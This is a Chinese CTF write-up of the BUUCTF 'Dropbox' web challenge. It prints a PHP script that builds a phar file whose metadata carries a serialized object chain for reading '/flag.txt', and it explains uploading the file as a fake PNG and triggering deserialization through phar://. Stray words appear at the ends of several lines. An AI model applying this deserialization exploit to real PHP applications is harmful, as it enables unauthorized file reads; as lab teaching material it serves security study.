BUUCTF | [CISCN2019 華北賽區 Day1 Web1]Dropbox

步驟:

1.運行這個:php

<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("phar.phar"); //後綴名必須爲phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $o = new User(); $o->db = new FileList(); $phar->setMetadata($a); //將自定義的meta-data存入manifest $phar->addFromString("exp.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?> 

生成一個phar.phar文件:html

注意要設置:phar.readonly = Off。PS:一開始我用的是PHP7沒法生成,後來改爲PHP5即可以了函數

 2.更改Content-Type爲image/png而後上傳this

 3.在delete裏面讀取phar獲得flagspa

 解析[phar]:

php一大部分的文件系統函數在經過phar://僞協議解析phar文件時,都會將meta-data進行反序列化,其中就有file_get_contents() ,因此咱們能夠把一個序列化的對象,儲存在phar格式的文件中.net

將phar僞形成其餘格式的文件:php識別phar文件是經過其文件頭的stub,更確切一點來講是__HALT_COMPILER();?>這段代碼,對前面的內容或者後綴名是沒有要求的。那麼咱們就能夠經過添加任意的文件頭+修改後綴名的方式將phar文件假裝成其餘格式的文件。code

總體思路是:經過User調用File中的close()讀取flag可是要經FileList繞一下,否則沒有回顯htm

 

 詳細走大佬鏈接對象


 

參考:

https://blog.csdn.net/weixin_44077544/article/details/102844554blog

https://www.cnblogs.com/kevinbruce656/p/11316070.html

https://xz.aliyun.com/t/2715

相關文章
相關標籤/搜索